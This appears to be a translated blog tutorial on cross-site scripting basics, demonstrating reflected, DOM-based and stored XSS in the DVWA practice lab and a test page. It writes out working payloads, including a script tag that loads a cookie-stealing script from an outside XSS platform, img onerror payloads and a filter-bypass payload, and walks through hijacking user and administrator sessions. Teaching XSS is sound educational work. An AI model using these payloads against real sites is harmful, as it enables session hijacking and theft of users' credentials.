Getting Started with XSS Injection Basics


This article uses several easy-to-understand examples to explain in detail the classification of xss vulnerabilities and the harm they may cause. Of course, there are many reasons for the security src to reject selfxss.

1. Basic concept of XSS

Cross-site scripting attack XSS (Cross Site Scripting), in order not to be confused with the abbreviation of Cascading Style Sheets (CSS), so cross-site scripting attack is abbreviated as XSS. Malicious attackers insert malicious Script codes into Web pages. When users browse the pages, the Script codes embedded in the Web pages will be executed, thereby achieving the purpose of maliciously attacking users. XSS attacks are aimed at user-level attacks!

Of course, there is also a very concise definition, that is, the web program does not strictly control the user's input during development. Some illegal malicious input from users can load external script resources on our pages. Leak sensitive user information stored locally on the client (especially cookies). cause serious consequences.

2. Classification and examples of XSS

In fact, in terms of attack methods, xss can be classified into two types, namely storage type and reflection type. The storage type is the most harmful, and it is also a vulnerability that manufacturers will collect. Its utilization method is also more likely to steal the cookie information of managers and other users because it is inserted into the database and can be read multiple times. Reflective xss needs to be sent to the attack target to achieve the attack effect when the attack target visits the target web page.

The reflective type is divided into two types because of the difference in the position of action, the reflective type xss and the dom type xss. Reflected XSS works where injection occurs inside HTML tags. The essence of triggering dom-type xss is triggered during the execution of JS code.

It doesn't matter if you don't understand the above for the time being. Let's use a few examples below to get a preliminary understanding of the differences between different xss and what kind of harm it has caused.

2.1 Reflected XSS

Reflected XSS is non-persistent, parametric cross-site scripting. The JS code of the reflected XSS is in the parameters (variables) of the web application, such as the reflected XSS of the search box. In the search box, submit PoC[scriptalert(/xss/)/script]and click Search to trigger reflected XSS. Note that what we submit poc will appear in the parameters search.php of the page keywords .

2.1.1 Example 1: Reflected XSS at dvwa low level

1. When we open this shooting range, we can enter the corresponding test sentence in the search box and test the pop-up window:
insert image description here

Check the effect: a pop-up window pops up, indicating that our JS code has been executed.

insert image description here
2. Modify again and try to pop up the cookie

<script>alert(document.cookie)</script>

insert image description here
It's amazing~, in fact, you have to look at the source code here. After reading the source code, you know that such an operation is inevitable. The following main is the php code of the backend. It clearly shows our trigger process here.

<?php
//关闭浏览器曾经存在过的保护机制
header ("X-XSS-Protection: 0");

// 接收get方法传递的参数name,将其放置到<pre></pre>标签内部,不做过滤。
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    
    
	// Feedback for end user
	$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

Obviously, the parameters we passed are passed back, inserted into the label, and displayed. As long as we enter the corresponding JS code, it will be parsed on our page. Take a look at the tags we returned:

insert image description here
So it seems that our JS code is indeed returned on the front end. At this time, you have to ask again, so what, just pop up a window, and pop up a cookie without modifying the data on the server. There is no difference whether there is a loophole or not. Anyway on the front end. Don't worry, let me show you the attack principle of this vulnerability. Everyone will understand.

3. We use an XSS platform to test "real attack methods."

Platform URL: https://xss.yt/, this type of platform can be built by yourself, here I use the platform built by others.

Create a project and configure it.
insert image description here
insert image description here
It is fine to choose the default here. Note that it is best not to check the keepsession here, which will easily expose our attacks.

insert image description here

Click here to see the payload provided by the system. Pick the shortest one:

<sCRiPt/SrC=//xss.yt/LS3a>

At this time, the simulated malicious user mistakenly clicked the link inserted with malicious JS:

insert image description here

We can see on the xss platform: We have obtained sensitive information including the victim's cookie, as well as screenshots.

insert image description here

We found that the embedded JS code requested an external URL. Let’s follow up to see:
insert image description here
the function of these codes is to obtain local information and forward it to the XSS platform server across domains. In turn to get the target cookie.

2.1.2 Attack process

Let's sort out its attack process:

insert image description here
First of all, there is an XSS reflection injection point on the normal server, which allows us to introduce and run external JS code. And these JS codes are malicious request files, the purpose is to steal local cookie information. Malicious server sent to hackers.

Second, the hacker will request a link to the malicious script and send it to the victim. Once the victim clicks while logging in to the website, the cookie information between himself and the normal server will be sent to the hacker.

The cookie usually stores information such as sessionid, which is often used equivalent to login credentials. At this point, hackers can directly log in to the user's background. perform malicious operations.

In order to gain higher authority, hackers must find the webmaster and trick the webmaster into clicking a malicious link. In order to obtain the administrator rights of the target site. So far, the XSS vulnerability has been perfectly exploited.

So why this type of reflective XSS vulnerability is called selfxss and is not favored. The reason is that in the current network environment, it is not easy to find the administrator to get in touch. I want to trick the administrator into clicking the link. I'm afraid it will not be an easy task. Everyone's safety awareness is constantly improving. So this kind of attack is very difficult to be effective.

2.2 DOM type XSS

DOM XSS is special. owasp's definition of DOM model XSS is DOM-based XSS is an XSS attack in which the payload of the attack is executed by modifying the DOM tree of the victim's browser page. Its special feature is that the payload is executed by modifying the DOM tree locally in the browser, and will not be transmitted to the server, which makes DOM XSS more difficult to detect.

2.2.1 Example 2: DOM type XSS injection

1. Environment deployment

Here we create a new HTML page to complete the deployment of the sample environment.

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" type="text/css" href="index.css">
    <title>aaa</title>
</head>

<body>
    <h1 id="1">try dom xss in hash</h1>
</body>

<script>
	//获取hash字段#后边的字符
    const data = decodeURIComponent(location.hash.substr(1));
    //创建root为div块
    const root = document.createElement('div');
    //使用innterHTML插入data,插入从hash字段输入的字符串
    root.innerHTML = data;
    //模拟XSS过滤机制
    for(let el of root.querySelectorAll('*')){
      
      
        for(let attr of el.attributes){
      
      
            el.removeAttribute(attr.name);
        }
    }
    document.body.appendChild(root);
</script>
</html>

Access test:

insert image description here

2. Basic version

Let's comment out the defense mechanism here first, and try to insert JS code:

insert image description here

Test result: no response

insert image description here
We're trying out the image tag:"<img src='x' onerror='alert(1)'>"

insert image description here

Confused, this is because our data seems to eventually become a label, but in the process of becoming a label. It is innerhtmlinserted through the function of JS. We can see from the official documentation:
insert image description here
it turns out that the label is innerhtmlnot implemented script. But it is not fully protected, because there are scripttags such as img that do not need to be written, and the window can still pop up. Therefore, its protective function is not perfect.

3. Advanced Bypass

Next, let go of our filter and test the injection of the img tag again.

insert image description here
It can’t pop up anymore. Obviously, the filtering mechanism here has filtered out some attributes in our tags. Make our label invalid.

//断点分析一段的执行逻辑
 for(let el of root.querySelectorAll('*')){
        for(let attr of el.attributes){
            el.removeAttribute(attr.name);
        }
    }

Put a breakpoint here, and keep single-step looping to pay attention to the values ​​of el and attr.
insert image description here

Delete an attribute in an img tag and exit?

insert image description here

Since we can't see clearly, we try to add some "sharp material" to the img tag, and use numbers to find the pattern.

http://127.0.0.1/aaa/#<img 1 2 3 4 5 6 7 8 9>

insert image description here
From the perspective of the phenomenon, the elements are deleted in intervals, and the even elements are retained. But no matter how you look at this code, it seems to be completely deleted. Let's follow up the breakpoint again for debugging:

insert image description here
The reason here is obvious, because when we loop, the index moves one space at a time, but we manually delete the indexed elements inside the loop body. As a result, all the elements behind the loop are pushed forward by an index, that is to say, the index element that should have been looped to the second position ran to the first position. escapes our delete. What we're actually removing the second time around is the element in the initial third position. Similarly, each subsequent deletion will allow the following elements to escape the deletion operation.

Eventually a feature that preserves the even-numbered-bit property is formed. Then we can modify the payload.

http://127.0.0.1/aaa/#<img 1 scr=1 3 οnerrοr=alert(1) 5 6 7 8 9>

insert image description here
Bypass successfully.

2.3 Stored XSS

As the name suggests, the difference between it and reflective XSS is that its data will be stored in the database and directly inserted into the database, causing threats many times.

2.3.1 Example 1: dvwa low example

We choose low difficulty, enter dvwa, and choose stored XSS demonstration.

insert image description here

After that, no matter how many times the page is refreshed, this XSS will be executed and a pop-up window will appear.

insert image description here

View the page source code:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    
    
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = stripslashes( $message );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitize name input
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}

?>

View information in the database:

mysql> select * from guestboog;
ERROR 1146 (42S02): Table 'dvwa.guestboog' doesn't exist
mysql> select * from guestbook;
+------------+---------------------------+------+
| comment_id | comment                   | name |
+------------+---------------------------+------+
|          1 | This is a test comment.   | test |
|          2 | <script>alert(1)</script> | name |
|          3 | <script>alert(1)</script> | name |
+------------+---------------------------+------+
3 rows in set (0.00 sec)

It is true that the data is inserted into the database, and subsequent queries can read this data multiple times, because it is inserted into the label. Therefore, multiple XSS triggers are triggered.

2.3.2 Attack process

Here is a flowchart of its attack process:
insert image description here

The hazards here are immediately apparent, no need for social workers, no need to fool anyone. As long as you access this information while browsing the web. Then your cookie belongs to the hacker. What's even more frightening is that as a manager, it is usually necessary to review such messages. At this point, once a similar XSS injection occurs. Then, the hacker also got the administrator account. Complete the attack.

3. Summary

XSS, also known as cross-site scripting attack, is caused by not effectively filtering the user input that needs to be echoed. As a result, the user can insert malicious JS code into the echo page, and leak the user's personal information by reading the cookie across domains. Seriously, it can cause leakage of administrator privileges and illegal login.

As far as classification is concerned, large ones can be divided into two categories according to the utilization plan, reflexive xss and storage type xss. The reflective type requires us to deceive and sneak attack. Let a specific administrator click a specific link (our malicious link) in a specific state (login to the website). It is difficult to use, and it is often dubbed selfxss and rejected by major manufacturers. The other type is directly inserted into the database of the server, whoever sees who is stolen. Great harm, bad influence. As a stored XSS, its harm is still very huge.

Reflected XSS can be subdivided into Reflected XSS and DOM XSS, because the two are different in execution principle. Reflective is where user input is inserted directly into the label for display. The DOM type XSS is inserted into the page during the execution of JS code. Relatively more difficult to understand. But both have the same characteristics and are used in the same way.

At this point, the basic part is over, and we will enter advanced learning.

Guess you like

Origin blog.csdn.net/qq_55316925/article/details/129082117